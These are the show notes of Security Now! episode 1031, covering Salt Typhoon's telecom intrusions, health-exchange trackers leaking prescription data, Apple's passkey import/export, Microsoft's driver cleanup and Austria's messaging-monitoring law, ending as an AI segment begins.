

# Security Now! #1031 - 06-24-25

## How Salt Typhoon gets in

### This week on Security Now!

- China's Salt Typhoon claims another victim (or two).
- State healthcare portals are tracking and leaking. No kidding.
- Apple adopts FIDO's Passkeys and other credentials transport.
- Facebook gets Passkey logon.
- TikTok continues ticking for at least another 90 days.
- Canadian telco admits they were infiltrated by Salt Typhoon.
- Microsoft to remove unwanted (and hopefully unneeded) hardware drivers.
- The Austrian government legislates court-warranted message decryption.
- I (Steve) finally get full clarity on what today's "AI" means.
- A deep dive into the Salt Typhoon's operation and how they got in.

When a bit of punctuation might save a life:



# Security News

## Salt Typhoon strikes again

The DarkReading outlet reports under their headline "Telecom Giant Viasat Is Latest Salt Typhoon Victim" with the subheading "The communications company shared the discoveries of its investigation with government partners, but there is little information they can publicly disclose other than that there seems to be no impact on customers."

DarkReading wrote:

*Viasat is the latest telecom business to fall victim to Salt Typhoon, the notorious cyber-espionage threat group. The breach at the satellite communications company was discovered earlier this year and has been identified as one of the threat group's targets during the 2024 presidential campaign, according to Bloomberg News, which first reported the breach.*

*The California-based company operates a satellite fleet and various ground stations to support a global network, providing high-speed satellite broadband services and networking systems to both military and commercial consumers. Following a report of unauthorized access through a compromised device, Viasat launched an investigation alongside third-party cybersecurity experts.*

*The company said: "Upon completing a thorough investigation, no evidence was found to suggest any impact to customers. Due to the sensitive nature of information sharing with government partners, we are unable to provide further details. Viasat believes that the incident has been remediated and has not detected any recent activity related to this event."*

*Salt Typhoon, meanwhile, has targeted several telecom companies this year alone. In January, the group targeted Charter Communications, Consolidated Communications, and Windstream. Then, in February, Cisco confirmed that the group exploited a Cisco vulnerability so that it could infiltrate telecommunications providers including T-Mobile, AT&T, and Verizon last fall, maintaining access to the compromised environments for extended periods of time.*

*US officials have previously raised suspicions of hackers targeting the companies to steal telephone audio intercepts and call record data. Enough attacks have occurred in the lengthy cyber-espionage campaign that Cybersecurity and Information Security Agency (CISA) was prompted to issue guidance to the telecom sector alongside the National Security Agency and FBI. In addition, the House Committee on Government Reform dedicated a hearing to Salt Typhoon on April 2 to address what actions the US could take in retaliation, though Edward Amoroso, research professor at New York University, advised against "hacking back" in his testimony, stating that the country should see these attacks as a wake-up call to shore up its defenses.*

So Verizon, AT&T, T-Mobile, Spectrum, Lumen, Consolidated Communications, Windstream, then Comcast and Digital Realty (both which we talked about last week) and now Viasat. What a mess! The best news about this is that we have seen over and over (and over) how reluctant companies are to address their own latent infrastructure security troubles. What's apparently necessary is for something as high profile as these multiple Salt Typhoon attacks, which have successfully remained in the headlines for months and have come to the attention of the U.S. Congress, to hopefully finally get companies to sit up, take notice, and assign someone to the task of critically examining the security of their older equipment. We now know a great deal about how Salt Typhoon did what it did, and we're going to take a deep dive into the depths of that typhoon at the end of today's podcast.

## **"Telecom giant Viasat breached by China's Salt Typhoon hackers"**

Before we leave this topic I want to also share what BleepingComputer reported since it adds some additional depth. They wrote:

*Satellite communications company Viasat is the latest victim of China's Salt Typhoon cyber-espionage group, which has previously hacked into the networks of multiple other telecom providers in the United States and worldwide. Viasat provides satellite broadband services to governments worldwide and aviation, military, energy, maritime, and enterprise customers. Last month, the telecom giant told shareholders that it had approximately 189,000 broadband subscribers in the United States.*

*The company discovered the Salt Typhoon breach earlier this year and has been working with federal authorities to investigate the attack, as Bloomberg first reported.*

*Viasat told BleepingComputer: "Viasat and its independent third-party cybersecurity partner investigated a report of unauthorized access through a compromised device. Upon completing a thorough investigation, no evidence was found to suggest any impact to customers. Viasat engaged with government partners as part of its investigation. Due to the sensitive nature of information sharing with government partners, we are unable to provide further details. Viasat believes that the incident has been remediated and has not detected any recent activity related to this event."*

*BleepingComputer first contacted Viasat in February with questions regarding a potential breach, but received no reply at the time. Russian hackers also breached Viasat's KA-SAT consumer-oriented satellite broadband service in February 2022, wiping satellite modems using AcidRain data wiper malware roughly one hour before Russia invaded Ukraine. The 2022 cyberattack impacted tens of thousands of broadband customers in Ukraine and Europe, including modems controlling roughly 5,800 wind turbines in Germany.*

*As the FBI and CISA confirmed in October, the Chinese Salt Typhoon state hackers had breached multiple telecom providers (including AT&T, Verizon, Lumen, Charter Communications, Consolidated Communications, and Windstream) and other telecom companies in dozens of countries.*

*While inside U.S. telecom networks, the attackers also accessed the U.S. law enforcement's wiretapping platform and gained access to the "private communications" of a "limited number" of U.S. government officials.*

*Earlier this month, NSA and CISA officials also tagged Comcast and Digital Realty as potentially compromised in Salt Typhoon's telecom attacks.*

*Salt Typhoon has been breaching government organizations and telecom companies since at least 2019 and kept actively targeting telecoms between December 2024 and January 2025, breaching more telecommunications providers worldwide via unpatched Cisco IOS XE network devices.*

As we're going to see at the end of today's podcast, the flaws that were once present in Cisco's Internet OS XE network devices were leveraged to admit the attackers into these networks. But Cisco had found and patched those vulnerabilities long before – as in years before – those flaws were used to gain illicit entry into these companies' networks. So while Cisco was to blame for once having vulnerabilities, they fixed those flaws years before they were used.

I'm at a loss to know how we can ever get this behavior to change. I doubt we're ever going to be able to hold the purchaser and user of these products accountable. Companies purchase them as drop-in turn-key solutions which they configure and forget and assume will continue working correctly until they unplug and retire the device. In a sprawling organization with thousands of routers and switches spread across a continent, where every device is receiving periodic updates, keeping everything updated – with the risk that an update might cause more trouble than the “potential trouble” it's presumed to prevent – asking the client owners of these devices to be completely responsible for them is the best we've managed to come up with so far, but it's clearly not working.

We've talked about having devices phoning home for updates. But that's also risky since it opens the door for a failed update to break a perfectly working system – even when it might only theoretically be vulnerable.

This leaves us with only one solution that I can think of – impractical though it may be – and that's for any brand new devices that are sold, to never contain any exploitable vulnerabilities from day one. Given the realities of after sales maintenance that we keep seeing in the real world, expecting reliable after sales patching of exploitable vulnerabilities is not reasonable. It just doesn't happen. This leads to the inexorable conclusion that never deploying any insecure hardware is the only way to have security in the field.

Unfortunately, the world has become accustomed to the idea that it's not possible to have flawless software. And that might be true in 2025. But it can also be a matter of degree. Recall that we went through a period where Cisco was “discovering” that unknown backdoor accounts had been left in their products? I put “discovering” in air quotes because it should be ludicrous to imagine that any company such as Cisco would not be sufficiently aware of the contents of their firmware to know that built-in accounts might be present. Hopefully, as I said at the time, they actually knew those accounts were present and they were there due to a maintenance policy that had not aged well.

Inertia likely kept that policy in place until the malicious abuse of those hidden backdoor accounts indirectly exposed that policy and forced its reevaluation. Suddenly, Cisco was “surprised” by the presence of those accounts. Right. But my point is, things are better today. And I suspect that things are even better now than they were.

I think we really need to keep in mind how slowly and reluctantly things change. We're seeing the consequences of decisions and policies that are a decade old, with hardware and firmware that was in place long before the need for much stricter and stronger security was appreciated.

Vulnerable hardware that's not patched continues to present the significantly weaker security profile that was in use and acceptable at the time of that hardware's original design. But the maintenance and updating of older hardware allows it to be modernized and kept current.

### **States are not good about healthcare privacy**

The publication ***"The Markup"*** has the tag line ***"Challenging technology to serve the public good."*** and I would agree that we need more of this sort of tech-savvy investigation and public airing of widespread misbehavior. Here's what their reporting last Wednesday found.

The headline of their most recent investigation was: ***"We caught 4 more states sharing personal health data with Big Tech"*** with the subhead ***"Healthcare exchanges in Nevada, Maine, Massachusetts and Rhode Island shared users' sensitive health data with companies like Google and LinkedIn"*** which, for me, begs the question, four more? Here's what they reported:



*State-run health care websites around the country, meant to provide a simple way to shop for insurance, have been quietly sending visitors' sensitive health information to Google and social media companies. The data, including prescription drug names and dosages, was sent by web trackers on state exchanges set up under the Affordable Care Act to help Americans purchase health coverage.*

*The exchange websites ask users to answer a series of questions, including about their health histories, to find them the most relevant information on plans. But in some cases, when visitors responded to sensitive questions, the invisible trackers sent that information to platforms like Google, LinkedIn, and Snapchat.*

Add up to 5 prescription drugs to see if they are covered by you

  

Available as

- ☐ Fluoxetine 10 Mg Tab (Oral Tablet) (30 day supply)
- ☐ Fluoxetine 60 Mg Tab (Oral Tablet) (30 day supply)
- ☒ Fluoxetine 20 Mg Tab (Oral Tablet) (30 day supply)
- ☐ Fluoxetine 40 Mg Cap (Oral Capsule) (30 day supply)
- ☐ Fluoxetine 10 Mg Cap (Oral Capsule) (30 day supply)
- ☐ Fluoxetine 20 Mg/5ml Sol (Oral Solution) (30 day supply)
- ☐ Fluoxetine 20 Mg Cap (Oral Capsule) (30 day supply)
- ☐ Fluoxetine 90 Mg Dr Cap (Delayed Release Oral Capsule)

Select Your Dosage

```
backgroundImageSrc: null
cursor: "pointer"
elementSemanticType: null
elementTitle: null
elementType: null
elementValue: null
formAction: "/hix/private/preferences"
imageAlt: null
imageSrc: null
innerText: "Fluoxetine 20 Mg Tab (Oral Tablet) (30 day supply)"
isFormSubmission: false
tagName: "LABEL"
domain: "enroll.nevadahealthlink.com"
elementCrumbsTree: [{tagName: "div", nthChild: 0,
hem: null
href: ""
innerElements: null
isFilteredByClient: false
isLinkedInApp: false
isTranslated: false
liFatId: ""
liGiant: ""
misc: {psbState: -4}
pageTitle: "Tell us about your healthcare needs - Nevada Health Link"
pids: [301905]
```

Medication

When an individual indicated that they took Fluoxetine, commonly known as Prozac, on Nevada Health Link, the information was sent to LinkedIn.

*The Markup audited the websites of all 19 states that independently operate their own online health exchange. While most of the sites contained advertising trackers of some kind, The Markup found that four states exposed visitors' sensitive health information.*

*Nevada's exchange, Nevada Health Link, asks visitors about what prescriptions they use, including the names and dosages of the drugs, to help them find their best options for health insurance. When visitors start typing, it suggests specific medications, including antidepressants, birth control and hormone therapies.*

*As visitors answered the questions, their responses were sent to LinkedIn and Snapchat, according to tests conducted by The Markup in April and May. On the other side of the country, Maine's exchange, CoverME.gov, sent information on drug prescriptions and dosages to Google through an analytics tool. It also sent the names of doctors and hospitals that people had previously visited.*

*Rhode Island's exchange, HealthSource RI, sent prescription information, dosages, and doctors' names to Google. Massachusetts Health Connector, another exchange, told LinkedIn whether visitors said they were pregnant, blind, or disabled. After being contacted by The Markup, Nevada's health exchange stopped sending visitors' data to Snapchat and Massachusetts stopped sending data to LinkedIn. Additionally, The Markup found that Nevada stopped sending data to LinkedIn in early May, as we were testing. The Markup discovered the sharing after finding that California's exchange, Covered California, told LinkedIn when a visitor indicated they were blind, pregnant, or a victim of domestic violence.*

*Security and privacy experts said state health exchanges' use of advertising trackers was troubling if not entirely surprising. Such tools can help organizations to reach visitors and tailor ads for them. Google Analytics allows website operators to better understand who is coming to their site and to optimize ad campaigns. The LinkedIn and Snap trackers, like a similar offering from Meta, help companies target their social media ads.*

*Nevada uses the trackers to help target marketing at uninsured residents, according to Russell Cook, Executive Director of the state agency that operates Nevada's exchange, Silver State Health Insurance Exchange.*

*But health care services need to be especially careful with those tools, said John Haskell, a data privacy attorney who has previously worked as an investigator for the Department of Health and Human Services. Haskell said: "It doesn't surprise me that organizations that have these massive tech stacks that rely on third party-resources don't have a full understanding of what the configuration is, what the data flows are, and then once they go to somebody, what that data is being used for. It's something that needs to be addressed."*

*After The Markup reported on Covered California's sharing of health data with LinkedIn, the exchange removed its trackers and said it would review its data practices. The news triggered a class-action lawsuit and questions from federal lawmakers. The Markup then examined websites operated by 18 states other than California, as well as Washington, D.C., to see what information they shared as users navigated them. The sites were established under the Affordable Care Act, which requires states to offer health insurance either through their own exchanges or one operated by the federal government.*

*To test them, we first ran the sites through Blacklight, a tool we developed to reveal web trackers. We then reviewed network traffic on the sites to see what data the trackers received when visitors filled out forms. The results showed that 18 used some sort of tracker. Some were filled with them. Nevada, for example, used nearly 50. By contrast, Blacklight found no tracker of any kind on Washington, D.C.'s exchange. Popular websites use on average seven trackers, according to Blacklight scans of the 100,000 most trafficked sites on the web.*

*Many of the sites used trackers in relatively innocuous ways, like counting page views. The four exchanges we found sharing sensitive health data sent varied responses to questions about the tracking. Cook said in a statement that trackers placed by his Nevada agency were "inadvertently obtaining information regarding the name and dosage of prescription drugs" and sending it to LinkedIn and Snapchat. Cook acknowledged such data was "wholly irrelevant to our marketing efforts" and said it had disabled tracking software pending an audit.*

*Jason Lefferts, a spokesperson for Massachusetts Health Connector, said in a statement that "personally identifiable information is not part of the tool's structure and no personally identifiable information, not even the IP addresses of users of the tool, has ever been shared with any party in any way via this tool."*

*But LinkedIn's tracker documentation makes clear that it correlates the information it receives with specific LinkedIn accounts so companies can use the data for features like retargeting website visitors. The company's documentation also states it later obscures this information and eventually deletes it.*

Right. If this spokesperson in Massachusetts believes what he's saying about no IP address he may not understand how trackers operate. The hosting website page provides some script or at least a URL to the tracker's home. When loaded, that causes the user's browser to fetch something from the tracking site, and that immediately reveals their public IP address. Anyone who imagines that a facility that was established for the sake of tracking will not be capturing and logging that IP hasn't been paying attention. The article continues:

*Spokespeople for the Rhode Island and Maine health exchanges said that they pay a vendor, Consumers' Checkbook, to run a separate site that allows visitors to explore what plans are available to them through their states' exchanges. It was from these sites that sensitive information was shared to Google. Consumers' Checkbook's sites are at different web addresses than the exchange sites, but are prominently linked to on the exchange sites and display identical branding like the state health exchange's logo, making it unlikely that an average visitor would realize they were no longer on a state-run domain.*

Right. And saying that it's not our fault because our health management sub-contractor is doing it is not going to do much to avoid more of those class-action lawsuits.

*Christina Spaight O'Reilly, a spokesperson for HealthSource RI, said the company uses Google Analytics to study trends but not to serve ads, and "disables Google Signals Data Collection, ensuring that no data is shared with Google Ads for audience creation or ad personalization, and no session data is linked to Google's advertising cookies or identifiers." HealthSource RI's terms of use mention the use of Google Analytics, she noted. A spokesperson for CoverME.gov made similar points, saying that the agency "does not collect or retain any data entered into the tool."*

Right. But "The Markup's" independent testing found 10 ad trackers to which "medication names and dosages, doctors, and hospitals" were being leaked. So this tells us that these spokespeople are, in the best case, clueless. But that either way, anything they claim should be treated as P.R. B.S. and independently verified by an actual traffic analysis, exactly as these Markup guys did.

*Consumers' Checkbook, their subcontractor, declined to comment beyond the exchanges' statements.*

*All of the exchanges said that individually identifiable health information, like names and addresses, wasn't sent to third parties. But the point of the trackers is to enhance information sent about a user with data the platforms already have on that user, and every tracker found by The Markup logged details about individual visitors, such as their operating system, IP, browser, device, and times of visit.*

*In response to requests for comment, the tech companies whose trackers we examined uniformly said they do not want organizations sending them potentially sensitive health data, and that doing so is against their terms of use.*

*Steve Ganem, Director of Product Management for Google Analytics, said that "by default any data sent to Google Analytics does not identify individuals, and we have strict policies against collecting Private Health Information or advertising based on sensitive information."*

*A spokesperson for LinkedIn, Brionna Ruff, said that advertisers are not allowed "to target ads based on sensitive data categories," such as health issues.*

*A spokesperson for Snapchat owner Snap said the same, noting that sending purchases of supplies like prescriptions would run afoul of the company's rules about sensitive data.*

*A Google Analytics information page specifically discusses how organizations that use the company's tools should comply with the Health Insurance Portability and Accountability Act, which protects health data. The page notes that "Google makes no representations that Google Analytics satisfies HIPAA requirements."*

*"It is important to ensure that your implementation of Google Analytics and the data collected about visitors to your properties satisfies all applicable legal requirements," the page reads.*

So there are several trackers that we would hope would be more responsible. But The Markup's report listed the number of ad trackers discovered on the state healthcare portals they examined. In order of decreasing tracker count, California took dubious first place with 63, that was followed by Nevada with 49, Maryland with 31, Massachusetts with 28, Georgia with 16, New Mexico, Colorado, New York and New Jersey each having 15, Pennsylvania with 14, Maine with 12, the state of Washington, Rhode Island and Idaho each with 10, Connecticut and Virginia with 9 each, Kentucky with 4, Minnesota with 2 and Vermont with just 1. And as the article noted, Washington, D.C.'s site somehow had not a single one.

The Markup's investigation finishes by noting:

*State exchanges aren't the only health sites that have sent medical information to social media companies. In 2022, The Markup revealed that dozens of hospital websites shared information with Facebook's parent company, Meta, through a tool called the Meta Pixel.*

And, of course, we were just talking about the infamous Meta Pixel since that's the thing that was connecting to a user's local device Meta app on the localhost IP for the sole purpose of deanonymizing them to every instance of the Meta Pixel appearing on the web, such as, apparently, any of dozens of hospital websites they might have the occasion to visit.

*The hospitals faced scrutiny from Congress and legal action. Another Markup investigation found trackers logging information about online drugstore visitors purchasing HIV tests and Plan B.*

What could possibly go wrong there?

*In 2023, a New York hospital agreed to pay a \$300,000 fine for violations of the Health Insurance Portability and Accountability Act, or HIPAA. In response to a series of incidents, the Department of Health and Human Services said in 2023 that use of social media trackers to log health information could violate HIPAA, although recent court decisions have narrowed how the law can be applied against companies that use those trackers.*



*Some plaintiffs have used state laws, like those in California, to argue that they should be compensated for having their health data sent to third parties without consent. Others have argued that this kind of tracking runs afoul of wiretapping or even racketeering laws.*

Ending with a quote from John Haskell, that data privacy attorney who has previously worked as an investigator for the Department of Health and Human Services and who now advises clients to be very careful about the information they track on their sites, he said:

*"Organizations are not investing enough time and resources into properly vetting everything. Organizations saying they did not understand the consequences of the tools they're using will not be seen as an effective defense."*

Okay.

So what does this mean for consumers who need to use and trust in the privacy of these sites? In practice, it means that the advertising, tracking and profiteering that has become the true underlying fabric of the web has shredded privacy and made a complete joke of any guarantees that a site's claim of HIPPA compliance might provide. The only thing the "Covered California" site is covered in, is tracking technology. And notice that none of it – not one single bit of it – is about doing the job that the site is there to do. I'm glad that groups such as "The Markup" are there to keep bringing these egregious privacy failures to light. I'm glad they're asking states WTF is going on and that class-actions are being brought against anyone who is making a mockery of HIPPA. This will get better with time, but only if it's forced to.

### **Apple, WWDC and Passkeys Import/Export**

And while we're on the topic of Passkeys, an announcement during the recent Apple WWDC regarding their support for Passkeys was significant. For that and for a bit of additional background, let's turn to ArsTechnica's Dan Goodin who posted under the headline: *"Coming to Apple OSes: A seamless, secure way to import and export passkeys"* with the sub-head: *"Apple OSes will soon transfer passkeys seamlessly and securely across platforms."* Dan wrote:

*Apple this week provided a glimpse into a feature that solves one of the biggest drawbacks of passkeys, the industry-wide standard for website and app authentication that isn't susceptible to credential phishing and other attacks targeting passwords.*

*The import/export feature, which Apple demonstrated at this week's Worldwide Developers Conference, will be available in the next major releases of iOS, macOS, iPadOS, and visionOS. It aims to solve one of the biggest shortcomings of passkeys as they have existed to date. Passkeys created on one operating system or credential manager are largely bound to those environments. A passkey created on a Mac, for instance, can sync easily enough with other Apple devices connected to the same iCloud account. Transferring them to a Windows device or even a dedicated credential manager installed on the same Apple device has been impossible.*

*That limitation has led to criticisms that passkeys are a power play by large companies to lock users into specific product ecosystems. Users have also rightly worried that the lack of transferability increases the risk of getting locked out of important accounts if a device storing passkeys is lost, stolen, or destroyed.*

*The FIDO Alliance, the consortium of more than 100 platform providers, app makers, and websites developing the authentication standard, has been keenly aware of the drawback and has been working on programming interfaces that will make the passkey syncing more flexible.*

*A recent teardown of the Google password manager by Android Authority shows that developers are actively implementing import/export tools, although Google has yet to provide any timeline for their general availability. (Earlier this year, the Google password manager added functionality to transfer passwords to iOS apps, but the process is clunky.) A recent update from FIDO shows that a large roster of companies are participating in the development, including Dashlane, 1Password, Bitwarden, Devolutions, NordPass, and Okta.*

*The narrator of the Apple announcement video says: "People own their credentials and should have the flexibility to manage them where they choose. This gives people more control over their data and the choice of which credential manager they use."*

*The transfer feature, which will also work with passwords and verification codes, provides an industry-standard means for apps and OSes to more securely sync these credentials. As the video explains:*

*This new process is fundamentally different and more secure than traditional credential export methods, which often involve exporting an unencrypted CSV or JSON file, then manually importing it into another app. The transfer process is user initiated, occurs directly between participating credential manager apps and is secured by local authentication like Face ID.*

*This transfer uses a data schema that was built in collaboration with the members of the FIDO Alliance. It standardizes the data format for passkeys, passwords, verification codes, and more data types. [ Halleluiah!!! ]*

*The system provides a secure mechanism to move the data between apps. No insecure files are created on disk, eliminating the risk of credential leaks from exported files. It's a modern, secure way to move credentials.*

[ And needless to say, this podcast will have a full technical readout on this shortly! ]

*The push to passkeys is fueled by the tremendous costs associated with passwords. Creating and managing a sufficiently long, randomly generated password for each account is a burden on many users, a difficulty that often leads to weak choices and reused passwords. Leaked passwords have also been a chronic problem.*

*Passkeys, in theory, provide a means of authentication that's immune to credential phishing, password leaks, and password spraying. Under the latest "FIDO2" specification, it creates a unique public/private encryption keypair during each website or app enrollment. The keys are generated and stored on a user's phone, computer, YubiKey, or similar device. The public portion of the key is sent to the account service. The private key remains bound to the user device, where it can't be extracted. During sign-in, the website or app server sends the device that created the key pair a challenge in the form of pseudo-random data. Authentication occurs only when the device signs the challenge using the corresponding private key and sends it back.*

And Dan, of course, got all of that exactly right. He finishes:

*This design ensures that there is no shared secret that ever leaves the user's device. That means there's no data to be sniffed in transit, phished, or compromised through other common methods.*

And I would add that there's also no shared secret being held by the remote server. All it's able to do is verify the user's signed pseudo-random challenge.

*As I noted in December, the biggest thing holding back passkeys at the moment is their lack of usability. Apps, OSes, and websites are, in many cases, islands that don't interoperate with their peers. Besides potentially locking users out of their accounts, the lack of interoperability also makes passkeys too difficult for many people.*

*Apple's demo this week provides the strongest indication yet that passkey developers are making meaningful progress in improving usability.*

So... yay to this very welcome news from Apple. The idea that we'll have a common and secure authentication credential interchange format is way beyond wonderful. This is almost more important than Passkeys itself, since it promotes a level of cross-vendor interchange that we've never enjoyed in this industry. This is huge and I'll have a lot more to say about this, soon.

And while we're on the topic of Passkeys...

### **Meta's Facebook to get Passkeys**

Meta just announced that Facebook login is being enhanced with Passkeys. And Leo, I heard you comment somewhere that you were really glad to finally be seeing Passkeys widely spreading across the web. I, of course, agree. Moving to a public-key based system will eliminate an entire large class of longstanding vulnerabilities.

### **TikTok is still ticking and it doesn't seem as though the clock still is.**

If anyone was wondering whatever happened to the supposedly forthcoming ban on the Chinese owned and massively popular TikTok service, the BBC reported that President Trump has announced that he plans to extend the impending ban on TikTok a third time for another 90 days. <https://www.bbc.com/news/articles/cwyqjepq2e1o>

### **Canada becomes 1st specifically-known non-US victim of Salt Typhoon Cisco attacks**

I should explain that the following news was just declassified after I had chosen and completely written the coverage of today's main topic, which is Salt Typhoon – and specifically the details of the technology underlying their devastating and pervasive attacks. Here's the news that just broke yesterday as I was wrapping up this week's show notes:

*The Canadian Centre for Cyber Security (Cyber Centre) and the United States' Federal Bureau of Investigation (FBI) are warning Canadians of the threat posed by People's Republic of China (PRC) state-sponsored cyber threat actor tracked in industry reporting as Salt Typhoon. The Cyber Centre previously joined our partners in warning that PRC cyber actors have compromised networks of major global telecommunications providers to conduct a broad and significant cyber espionage campaign. This cyber bulletin aims to raise awareness of the threat*

*posed by PRC cyber threat activity, particularly to Canadian telecommunications organizations, in light of new Salt Typhoon-related compromises of entities in Canada.*

*The Cyber Centre is aware of malicious cyber activities currently targeting Canadian telecommunications companies. The responsible actors are almost certainly PRC state-sponsored actors, specifically Salt Typhoon. Three network devices registered to a Canadian telecommunications company were compromised by likely Salt Typhoon actors in mid-February 2025. The actors exploited CVE-2023-20198 to retrieve the running configuration files from all three devices and modified at least one of the files to configure a GRE tunnel, enabling traffic collection from the network.*

*In separate investigations, the Cyber Centre has found overlaps with malicious indicators associated with Salt Typhoon, reported by our partners and through industry reporting, which suggests that this targeting is broader than just the telecommunications sector. Targeting of Canadian devices may allow the threat actors to collect information from the victim's internal network, or use the victim's device to enable the compromise of further victims. In some cases, we assess that the threat actors' activities were very likely limited to network reconnaissance.*

*While our understanding of this activity continues to evolve, we assess that PRC cyber actors will almost certainly continue to target Canadian organizations as part of this espionage campaign, including telecommunications service providers and their clients, over the next two years. To monitor and mitigate this threat, we encourage Canadian organizations to consult the guidance linked below on hardening networks, security considerations for edge devices, and additional cyber threat information pertaining to the PRC.*

*Telecommunications networks are almost certainly among the highest priority espionage targets for state-sponsored cyber threat actors. Hostile state actors very likely rely on access to telecommunications service providers (TSPs) and telecommunications networks around the world as a key source of foreign intelligence collection. TSPs carry telecommunications traffic and collect and store large amounts of customer data that have intelligence value, including communication, location, and device data.*

*State-sponsored cyber threat actors have persistently compromised TSPs globally, often as part of broad and long-running intelligence programs to exfiltrate bulk customer data and collect information on high-value targets of interest, such as government officials. This includes geolocating and tracking individuals, monitoring phone calls, and intercepting SMS messages. State actors have gained access to telecommunications networks and data by exploiting vulnerabilities in network devices, such as routers, and by taking advantage of insecure design in the systems that route, bill, and manage communications.*

*In 2024, partner investigations discovered that PRC state-sponsored cyber threat actors had compromised the networks of major global TSPs, including US wireless carriers, very likely as part of a targeted espionage operation. According to our partners, the actors were able to steal customer call records data from the compromised TSPs. The threat actors also collected the private communications of a limited number of individuals primarily involved in government or political activity.*

*We are also concerned with the potential impacts to the sensitive information of client organizations working directly with telecommunications providers. PRC cyber threat actors frequently attempt to compromise trusted service providers, including telecommunications, managed service providers and cloud service providers, to access client information or*



*networks indirectly.*

*PRC cyber actors exploit vulnerabilities in edge devices:*

*As we note in the National Cyber Threat Assessment 2025-2026, cyber threat actors are exploiting vulnerabilities in security and networking devices that sit at the perimeter of networks, including routers, firewalls, and virtual private network (VPN) solutions. By compromising these edge devices, a cyber threat actor can enter a network, monitor, modify, and exfiltrate network traffic flowing through the device, or possibly move deeper into the victim network.*

*As part of this campaign, PRC cyber actors are targeting these network devices, exploiting existing vulnerabilities to gain and maintain access to TSPs. Despite public reporting outlining their activities, it is very likely that the actors continue to operate.*

This alert managed to get a great deal of the facts correct and it nicely serves to place these Salt Typhoon attacks into the foreground where I think it's clear they still belong. There's an understandably strong desire, especially on the part of any of the many identified victim companies from a public relations standpoint, to loudly proclaim that the dastardly bad guys have been found and evicted with prejudice. But by the end of today's podcast, everyone here is going to appreciate why this is a claim that these companies would have a difficult time substantiating.

### **"Removal of unwanted drivers from Windows Update"**

That was the headline of last Thursday's announcement from Microsoft. This was something that was expected and that we talked about briefly previously. Here's what Microsoft explained:

*This blog post is intended to notify all Windows Hardware program partners that Microsoft has taken a strategic initiative to clean up legacy drivers published on Windows Update to reduce security and compatibility risks. The rationale behind this initiative is to ensure that we have the optimal set of drivers on Windows Update that cater to a variety of hardware devices across the Windows ecosystem, while making sure that Microsoft Windows security posture is not compromised. This initiative involves periodic cleanup of drivers from Windows Update, thereby resulting in some drivers not being offered to any systems in the ecosystem. Further details of the effort are as follows:*

They then switch to a Q&A format. So

**Q:** *What category of drivers are targeted in the first cut of the cleanup?*

**A:** The first phase targets legacy drivers that have newer replacements already on Windows Update.

**Q:** What does "cleanup" mean in this context?

**A:** Cleanup here refers to the process of expiring drivers so that they are no longer associated with an audience in Windows update, resulting in them not being offered to any system. Technically, expiring a driver means removing all its audience assignments in Hardware Development Center, which stops Windows Update from offering that driver to devices.

**Q:** Can partners republish a driver that was expired by Microsoft?

**A:** Yes, partners will be able to republish the drivers that were expired. Microsoft may require business justification as to why there was a need for republishing.

**Q:** What happens to the cleaned-up drivers?

**A:** After the expiry, Microsoft will publish a blog post mentioning the end of the first cut of driver expiry. After that, there will be a 6-month window for partners to get back with concerns (if any). If no action is taken, the drivers will be permanently removed from windows update.

**Q:** Will this be a one-time exercise or will similar instances occur in the future?

**A:** This is meant to be a regular exercise to optimize what windows update has to offer. We are beginning with the above-mentioned category of drivers but will expand to cover more categories of drivers that Microsoft deems fit to be expired from windows update. Each time such a cleanup occurs, Microsoft will communicate broadly so that partners know what to expect.

Given the history of BYOVD – Bring Your Own Vulnerable Driver – being successfully used by bad guys, being proactive about removing an otherwise endlessly growing collection of drivers, many of which may just be taking up space, makes a lot of sense. Microsoft concluded by writing:

*In summary, Microsoft removing legacy drivers from Windows Update is a proactive measure to safeguard security and improve driver quality for Windows users. As a partner, you should review your drivers in the Hardware Program, be aware of what your current drivers in the ecosystem are, and make sure that any unwanted/legacy driver is proactively expired from windows update. Moving forward, expect this cleanup to be a routine practice, and prepare for the introduction of new publishing guidelines that will help all Windows users keep their systems in a secure and reliable state. We appreciate your cooperation in this initiative, as it helps ensure that Windows devices run on the most secure and compatible drivers available.*

## **Austrian government agrees on plan to allow monitoring of secure messaging**

Last Wednesday, Reuters News carried an interesting bit of reporting.

*VIENNA, June 18 (Reuters) - Austria's coalition government has agreed on a plan to enable police to monitor suspects' secure messaging in order to thwart militant attacks, ending what security officials have said is a rare and dangerous blind spot for a European Union country. Because Austria lacks a legal framework for monitoring messaging services like WhatsApp, its main domestic intelligence service and police rely on allies with far more sweeping powers like Britain and the United States alerting them to chatter about planned attacks and spying. That kind of tip-off led to police unravelling what they say was a planned attack on a Taylor Swift concert in Vienna, which prompted the cancellation of all three of her planned shows there in August of last year.*

*Joerg Leichtfried of the Social Democrats, the junior minister in charge of overseeing the Directorate for State Security and Intelligence (DSN), told a news conference: "The aim is to make people planning terrorist attacks in Austria feel less secure - and increase everyone else's sense of security. That is why this decision by the cabinet today is an important milestone in the fight against terrorism and spying in Austria" he added.*

*Under the new system, monitoring of a person's messaging must be approved by a three-judge panel and should only apply to a limited number of cases. Interior Minister Gerhard Karner told the news conference it was only expected to be used on 25-30 people a year.*

*If it is more than 30, a report must be sent to a parliamentary committee, the government said, addressing concerns about mass surveillance and the infringement of people's privacy.*

*A government statement said: "The police must have a well-founded suspicion of a possible terror attack" to monitor a person's messaging under the new system. Once parliament passes the legislation, a tender process for monitoring technology would be launched, and monitoring would begin in 2027, the government said.*

Okay, now. But wait. <quote> *"Once parliament passes the legislation, a tender process for monitoring technology would be launched, and monitoring would begin in 2027."* You bet it's going to be tender! It's probably going to hurt a lot! So do these Austrian politicians believe that all they're lacking is some legal framework? Have they not been paying attention? Just ask the UK how it's going with their demand that Apple allow them access to anyone's data. I doubt anyone is going to care that the legislation limits the requests to 25 to 30 per year. I think it's pretty clear that ZERO will be the only number that's acceptable to Apple, Signal, Telegram and the rest.

So, good luck with that legislation, Austria.

## AI: Linguistic simulation of intelligent entities

I wanted to share an interaction I had Saturday with ChatGPT's latest o3 highest-end Large Reasoning Model which left my mouth hanging open in disbelief.

When I'm not working on this podcast, I'm working to finish off the last bits of the new DNS Benchmark's core feature set. The long-term cumulative logging features which the Pro edition will offer will follow. For now, we're working to finish the new base v2 feature set, and I'm down to resolving a few remaining edge-case mysteries.

